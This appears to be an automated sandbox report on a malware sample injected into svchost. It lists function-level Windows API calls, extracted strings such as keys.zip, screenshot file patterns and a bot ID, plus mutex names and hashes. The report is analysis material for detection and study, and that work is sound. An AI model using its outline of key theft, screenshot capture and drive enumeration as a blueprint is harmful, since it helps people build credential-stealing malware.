                                                                                                                                                                                                            Function 02C8D268 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 235COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C318F9), ref: 02C8D284
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8D2BE
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8D2C8
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8D2D0
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8D2DF
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8D2E6
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C318F9,?,?), ref: 02C8D389
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8D3C3
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8D3CD
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8D3D5
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8D3E4
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8D3EB
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(?), ref: 02C8D4F2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Error$LastPath$AdminBackslashCreateDirectoryFolderMakeSystemUser$Mode
                                                                                                                                                                                                            • String ID: .txt$.zip$82C318F9$keys$path
                                                                                                                                                                                                            • API String ID: 3293890905-7519244
                                                                                                                                                                                                            • Opcode ID: e3d100074f92705510d1429fcbc914268e46e4abc397a2cd9195c4c0cc4227d6
                                                                                                                                                                                                            • Instruction ID: aee6f32301bdcdfa9a6d4cc34bc4f8d0ee578be413322cb3f489d5fcad6d9f42
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e3d100074f92705510d1429fcbc914268e46e4abc397a2cd9195c4c0cc4227d6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DB81E9315086868FC716DB3894687ABBBE5EFC5349F18CA58E8CAD7241EB31D509C781
                                                                                                                                                                                                            Function 02C89BE0 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 189memoryfilestringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C89C00
                                                                                                                                                                                                              • Part of subcall function 02C89B20: PathAddBackslashA.SHLWAPI(82C3182D), ref: 02C89B47
                                                                                                                                                                                                              • Part of subcall function 02C89B20: GetFileAttributesA.KERNEL32(?), ref: 02C89B85
                                                                                                                                                                                                              • Part of subcall function 02C89B20: PathFileExistsA.SHLWAPI(?), ref: 02C89BC9
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3182D), ref: 02C89C48
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C89CB0
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C89CBD
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3182D,?,?), ref: 02C89CF7
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C89D7A
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004), ref: 02C89D8E
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,?,00000104), ref: 02C89DA1
                                                                                                                                                                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000), ref: 02C89DD0
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3182D), ref: 02C89DDB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C89DFE
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C89E01
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C89E0E
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C89E11
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashFileHeap$AttributesFreeProcessVirtual$AllocCurrentDeleteDirectoryExistsValidatelstrcpynmemset
                                                                                                                                                                                                            • String ID: 5NT$82C3182D$keys.zip$path.txt
                                                                                                                                                                                                            • API String ID: 2685098104-1268902542
                                                                                                                                                                                                            • Opcode ID: c76f9a911eba22ee1312f3e01cc86fb43b923aab6fb7c8ea42aaa922a96ca9e6
                                                                                                                                                                                                            • Instruction ID: c06213b1eed9abbb4c11ff5360907248da8ade7d6854d3c723d800ba307d5478
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c76f9a911eba22ee1312f3e01cc86fb43b923aab6fb7c8ea42aaa922a96ca9e6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 06517931A406855FDB129B389C98BF6BFE89F81308F1485E5E986DB341EB719948CB50
                                                                                                                                                                                                            Function 02C8E920 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 150memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(02C7136E,\java\,?,75AF5180,00000000,?,?,02C7136E,?,?), ref: 02C8E959
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(02C7136E,\windows\,?,?,02C7136E,?,?), ref: 02C8E969
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,02C7136E,000000FF,00000000,00000000,00000000,00000000,?,?,02C7136E,?,?), ref: 02C8E97C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000013,?,?,02C7136E,?,?), ref: 02C8E998
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,02C7136E,?,?), ref: 02C8E99F
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8E9AF
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,02C7136E,000000FF,00000000,00000000,00000000,00000000,?,?,02C7136E,?,?), ref: 02C8E9CF
                                                                                                                                                                                                            • GetShortPathNameA.KERNEL32(00000000,00000000,00000104), ref: 02C8E9E4
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(?,?,?,?,02C7136E,?,?), ref: 02C8EA05
                                                                                                                                                                                                            • ReadFile.KERNEL32 ref: 02C8EA32
                                                                                                                                                                                                            • SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,?,75AF5180,00000000,?,?,02C7136E,?,?), ref: 02C8EA8E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C7136E,?,?), ref: 02C8EAA1
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,02C7136E,?,?), ref: 02C8EAA4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C7136E,?,?), ref: 02C8EAB1
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,02C7136E,?,?), ref: 02C8EAB4
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$FileProcess$ByteCharMultiWide$AllocFreeNamePathPointerReadShortSizeValidatememset
                                                                                                                                                                                                            • String ID: \java\$\windows\$iBKS
                                                                                                                                                                                                            • API String ID: 3070551764-2513530025
                                                                                                                                                                                                            • Opcode ID: 262073bbefefa13faee61674ddda304c66a7232f08ba1088c6c5e34d9c5f0139
                                                                                                                                                                                                            • Instruction ID: ff8bf14a6dcb9fd73a4fdef842a0580c8f30e8ec5885aa7bb6a116afd196ec38
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 262073bbefefa13faee61674ddda304c66a7232f08ba1088c6c5e34d9c5f0139
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5041C471A843616BE721AF259C48FBB7AACFFC4F19F048618F814D71C0EB70DA0586A1
                                                                                                                                                                                                            Function 02C82140 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 97stringthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C82160
                                                                                                                                                                                                            • GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02C821A8
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000001,?,?,id=,user!899552!E7E3D226), ref: 02C821BE
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02C821C6
                                                                                                                                                                                                            • SetThreadPriority.KERNEL32(00000000,?,id=,user!899552!E7E3D226), ref: 02C821CD
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(02CCBADC,?,00000005,?,id=,user!899552!E7E3D226), ref: 02C821EF
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(02CCBADC,?,id=,user!899552!E7E3D226), ref: 02C821F6
                                                                                                                                                                                                              • Part of subcall function 02C82030: memset.MSVCRT ref: 02C82051
                                                                                                                                                                                                              • Part of subcall function 02C82030: GetDriveTypeA.KERNEL32(02CCBADC,?,?,?), ref: 02C82068
                                                                                                                                                                                                              • Part of subcall function 02C82030: SetCurrentDirectoryA.KERNEL32(02CCBADC,?,?,?), ref: 02C82078
                                                                                                                                                                                                              • Part of subcall function 02C82030: _snprintf.MSVCRT ref: 02C820A5
                                                                                                                                                                                                              • Part of subcall function 02C82030: CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000003,A0000000,00000000), ref: 02C820C7
                                                                                                                                                                                                              • Part of subcall function 02C82030: WriteFile.KERNEL32(00000000,?,00000104,02C82265,00000000,00000000,76229300), ref: 02C820FB
                                                                                                                                                                                                              • Part of subcall function 02C82030: GetHandleInformation.KERNEL32(00000000,02C82265), ref: 02C82112
                                                                                                                                                                                                              • Part of subcall function 02C82030: CloseHandle.KERNEL32(00000000), ref: 02C82123
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(02CCBADC,?,00000005,?,id=,user!899552!E7E3D226), ref: 02C8223F
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(02CCBADC,?,id=,user!899552!E7E3D226), ref: 02C82246
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Drive$Type$CurrentFileHandleThreadlstrcpynmemset$CloseCreateDirectoryErrorInformationLogicalModePriorityStringsWrite_snprintf
                                                                                                                                                                                                            • String ID: AppEvents$Console$Control Panel$user!899552!E7E3D226$Environment$Identities$Software$System$id=
                                                                                                                                                                                                            • API String ID: 3198928771-1947164097
                                                                                                                                                                                                            • Opcode ID: 7f4264227056759e5aa3bc13f166b870f38044dcd9dfb47c7cb8d14f2000768e
                                                                                                                                                                                                            • Instruction ID: 21637d07351c62209abd453d13aea30da296579d93d7853852444d9999779526
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7f4264227056759e5aa3bc13f166b870f38044dcd9dfb47c7cb8d14f2000768e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5E31F6B1980294AFD712EFE49C4D79EBB69EF8031CF904698ED08A7140D7704E55CF96
                                                                                                                                                                                                            Function 02C8B100 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 111sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8B127
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B175
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8B181
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8B185
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B196
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8B19D
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C8B1D0
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B1DF
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8B1E5
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8B1E9
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B1FA
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8B201
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C8B22F
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02C8B245
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLastPath$AdminBackslashCreateDirectoryFolderMakeSystemUser$Sleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$82C3184B$scrs
                                                                                                                                                                                                            • API String ID: 1455050916-2608159857
                                                                                                                                                                                                            • Opcode ID: a2d51a5827884aeba548fcc68a2a58e4ab6ff3698e1df2d5993144c738e64f0b
                                                                                                                                                                                                            • Instruction ID: 1702d08459725db940bfbe12de1844016283b2e0f2e6e241e9736916e4f7f2d0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a2d51a5827884aeba548fcc68a2a58e4ab6ff3698e1df2d5993144c738e64f0b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 48315B72D402585BCB21DB749C88BEB77A8EF85308F4446D4EA89D7100DF70DA59CBA0
                                                                                                                                                                                                            Function 02C90120 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 111sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31b90), ref: 02C90147
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C90195
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C901A1
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C901A5
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C901B6
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C901BD
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C901F0
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C901FF
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C90205
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C90209
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C9021A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C90221
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C9024F
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02C90265
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLastPath$AdminBackslashCreateDirectoryFolderMakeSystemUser$Sleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$82c31b90$scrs
                                                                                                                                                                                                            • API String ID: 1455050916-4264751522
                                                                                                                                                                                                            • Opcode ID: 487721265e4893e57a4193ffd79a2ec7ca49d1261bb5d937a2dce87be9f48486
                                                                                                                                                                                                            • Instruction ID: 9288b0c1c4f02724dd8a4a36e7fd7d1f34b3c2ca216c9da405f7a4d7332aa7bc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 487721265e4893e57a4193ffd79a2ec7ca49d1261bb5d937a2dce87be9f48486
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2531F672D402995BDF269B74AC9CBEB77A8AF85300F4446D4EA89D3100DF70DA59CBA0
                                                                                                                                                                                                            Function 02C8E0B0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 83sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02C8E0CC
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C8E0E2
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02C8E0F0
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8E0F9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8E117
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8E125
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8DCE0,00000000,00000000,00000000), ref: 02C8E13A
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02C8E14B
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C8E150
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8E164
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8E172
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31967), ref: 02C8E17D
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82C31967,FAKTURA), ref: 02C8E197
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 82C31967$FAKTURA$Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}$P0#v
                                                                                                                                                                                                            • API String ID: 2736094147-505050827
                                                                                                                                                                                                            • Opcode ID: f9032c7081471ea81e07acd4e2152d90b91346d408efa5e92d328250e3b16b25
                                                                                                                                                                                                            • Instruction ID: bf16f44e971ad8498760596df9b01a7b91daa047f741fd308cd832d96a808c2e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f9032c7081471ea81e07acd4e2152d90b91346d408efa5e92d328250e3b16b25
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 05214931EC07557AF322B7608C0AF6A738C9F85B29F148B18FE14631C1CBB0E9014AA6
                                                                                                                                                                                                            Function 02C77370 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 156synchronizationmemorythreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C7738C
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,?,?,02C77262,00000000,00000000), ref: 02C77393
                                                                                                                                                                                                            • SetThreadDesktop.USER32(00000000,?,?,02C77262,00000000,00000000), ref: 02C7739F
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: GetTickCount.KERNEL32 ref: 02C7CAA8
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CAB9
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002939,02CBD6C0), ref: 02C7CAE3
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CAFC
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02CBD66C), ref: 02C7CB29
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB3C
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: CreateMutexA.KERNEL32(00000000,00000000,02CBD790,?,?,02C77262,00000000,00000000), ref: 02C7CB5A
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: CreateMutexA.KERNEL32(00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB6B
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: CreateMutexA.KERNEL32(00000000,00000000,02CBD750,?,?,02C77262,00000000,00000000), ref: 02C7CB7F
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB98
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CBAB
                                                                                                                                                                                                              • Part of subcall function 02C7CAA0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CBBE
                                                                                                                                                                                                              • Part of subcall function 02C7CBF0: memset.MSVCRT ref: 02C7CC09
                                                                                                                                                                                                              • Part of subcall function 02C7CBF0: GetVersionExA.KERNEL32(?,?,00000000,?), ref: 02C7CC22
                                                                                                                                                                                                              • Part of subcall function 02C98320: malloc.MSVCRT ref: 02C98332
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,00000008), ref: 02C77437
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,00000005), ref: 02C77445
                                                                                                                                                                                                            • lstrcpyA.KERNEL32(00000000,fuck), ref: 02C7744F
                                                                                                                                                                                                              • Part of subcall function 02C83D90: IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
                                                                                                                                                                                                              • Part of subcall function 02C83D90: IsUserAnAdmin.SHELL32 ref: 02C83DB1
                                                                                                                                                                                                              • Part of subcall function 02C83D90: DnsFlushResolverCache.DNSAPI ref: 02C83DBB
                                                                                                                                                                                                              • Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83DD8
                                                                                                                                                                                                              • Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
                                                                                                                                                                                                              • Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
                                                                                                                                                                                                              • Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
                                                                                                                                                                                                              • Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83E3C
                                                                                                                                                                                                              • Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
                                                                                                                                                                                                              • Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
                                                                                                                                                                                                              • Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000000,?,00000000), ref: 02C774F2
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 02C77501
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 02C77530
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7753F
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7754D
                                                                                                                                                                                                            • SetEvent.KERNEL32(00000000), ref: 02C77556
                                                                                                                                                                                                            • Sleep.KERNEL32(00002710,?,00000000), ref: 02C7759C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Create$EventFileMutexObjectSingleWait$HeapThreadmemset$AllocCheckConnectionDesktopInternetMappingViewlstrcpyn$AdminAliveCacheCountCurrentFlushNetworkReleaseResolverSleepTickUserVersionlstrcpymalloc
                                                                                                                                                                                                            • String ID: user!899552!E7E3D226$P0#v$fuck
                                                                                                                                                                                                            • API String ID: 2939156510-3660658081
                                                                                                                                                                                                            • Opcode ID: 2d7c50fa93b956e0672c43a51721cda743f6e35ab882156119189896743e9e10
                                                                                                                                                                                                            • Instruction ID: 8bb9a241b0db1dacf2ee8b41bc80e65b0e64538a45a66047102142ce9d1b3c7c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2d7c50fa93b956e0672c43a51721cda743f6e35ab882156119189896743e9e10
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7C51B0B19802449FDB11DF64D84CFA67BE9FB88314F158BBAE9584B291C730E518CF60
